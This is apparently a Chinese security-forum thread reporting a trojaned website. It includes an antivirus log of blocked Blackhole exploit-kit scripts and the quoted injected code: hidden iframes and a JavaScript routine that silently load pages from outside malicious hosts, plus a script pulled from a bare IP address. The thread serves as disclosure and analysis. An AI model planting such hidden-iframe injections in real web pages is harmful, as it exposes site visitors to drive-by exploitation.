http://dabie.k-ow.net/~krzynio/www/ 【挂马 by 蓝核】好多马

墨家小子

2013/4/27        0:06:35        已删除         l\AA        C:\Program Files (x86)\Internet Explorer\iexplore.exe        C:\Sandbox\AA\IE\user\current\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\PGW5WQ8D\count5[1].htm        JS/Redirector.ar (特洛伊)
2013/4/27        0:06:39        已删除         l\AA        C:\Program Files (x86)\Internet Explorer\iexplore.exe        C:\Sandbox\AA\IE\user\current\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\SF4VIW5K\www[1].htm\00001f6b.js        JS/Exploit-Blacole.ax (特洛伊)
2013/4/27        0:06:39        已删除         l\AA        C:\Program Files (x86)\Internet Explorer\iexplore.exe        C:\Sandbox\AA\IE\user\current\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\SF4VIW5K\www[1].htm\00002db1.js        JS/Exploit-Blacole.ax (特洛伊)
2013/4/27        0:06:39        已删除         l\AA        C:\Program Files (x86)\Internet Explorer\iexplore.exe        C:\Sandbox\AA\IE\user\current\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\SF4VIW5K\www[1].htm\00003b2f.js        JS/Exploit-Blacole.ax (特洛伊)
2013/4/27        0:06:40        已删除         l\AA        C:\Program Files (x86)\Internet Explorer\iexplore.exe        C:\Sandbox\AA\IE\user\current\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\SF4VIW5K\www[1].htm\000048ef.js        JS/Exploit-Blacole.ax (特洛伊)
2013/4/27        0:06:40        已删除         l\AA        C:\Program Files (x86)\Internet Explorer\iexplore.exe        C:\Sandbox\AA\IE\user\current\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\SF4VIW5K\www[1].htm\00006fdb.js        JS/Exploit-Blacole.ht (特洛伊)
2013/4/27        0:06:40        已删除         l\AA        C:\Program Files (x86)\Internet Explorer\iexplore.exe        C:\Sandbox\AA\IE\user\current\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\SF4VIW5K\www[1].htm\000078c9.js        JS/Exploit-Blacole.cr (特洛伊)
2013/4/27        0:06:40        已删除         l\AA        C:\Program Files (x86)\Internet Explorer\iexplore.exe        C:\Sandbox\AA\IE\user\current\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\SF4VIW5K\www[1].htm\0000814e.js        JS/Exploit-Blacole.cr (特洛伊)
2013/4/27        0:06:40        已删除         l\AA        C:\Program Files (x86)\Internet Explorer\iexplore.exe        C:\Sandbox\AA\IE\user\current\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\SF4VIW5K\www[1].htm\00008a78.js        JS/Exploit-Blacole.db (特洛伊)
2013/4/27        0:06:40        已删除         l\AA        C:\Program Files (x86)\Internet Explorer\iexplore.exe        C:\Sandbox\AA\IE\user\current\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\SF4VIW5K\www[1].htm\00009513.js        JS/Exploit-Blacole.cp (特洛伊)
2013/4/27        0:06:40        已删除         l\AA        C:\Program Files (x86)\Internet Explorer\iexplore.exe        C:\Sandbox\AA\IE\user\current\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\SF4VIW5K\www[1].htm\00009ed3.js        JS/Exploit-Blacole.cp (特洛伊)
2013/4/27        0:06:40        已删除（清除失败）         l\AA        C:\Program Files (x86)\Internet Explorer\iexplore.exe        C:\Sandbox\AA\IE\user\current\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\SF4VIW5K\www[1].htm\0000a8f0.js\C0000000.js        JS/Exploit-Blacole.bu (特洛伊)

蓝核

1. <iframe src="http://www.reconstructing.me/wp-on.php" width="0" height="0"></iframe>

复制代码

1.         if (document.getElementsByTagName('body')[0]){                        iframer();                } else {                        document.write("<iframe src='http://excvbsqp.cz.cc/count22.php' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");                }                function iframer(){                        var f = document.createElement('iframe');f.setAttribute('src','http://excvbsqp.cz.cc/count22.php');f.style.visibility='hidden';f.style.position='absolute';f.style.left='0';f.style.top='0';f.setAttribute('width','10');f.setAttribute('height','10');                        document.getElementsByTagName('body')[0].appendChild(f);                }

复制代码

1. <script type="text/javascript" src="http://211.138.207.229:57628/admode.js"></script><script type="text/javascript">var param="http://211.138.207.229:57628/a/s?f=adstyle_th.html&adid=200122&tcca=MTg3NjEwMTg2Mjg=&urip=1879119017&orlu=aHR0cDovL2RhYmllLmstb3cubmV0LyU3RWtyenluaW8vd3d3Lw==&spid=4048696935&area=85&ts=1367034727&aorlu=aHR0cDovL2hhby5qcy5jaGluYW1vYmlsZS5jb20v&p1arm=0&p2arm=0&p3arm=0&p4arm=5&p5arm=3&p6arm=1&appd=0&hasCount=1&hasWhiteUser=1";</script></head><body id="b" rightMargin=0 topMargin=0 leftMargin=0 scroll=no onload="init(param)">

复制代码

还有马……我就不一一用趋势验证了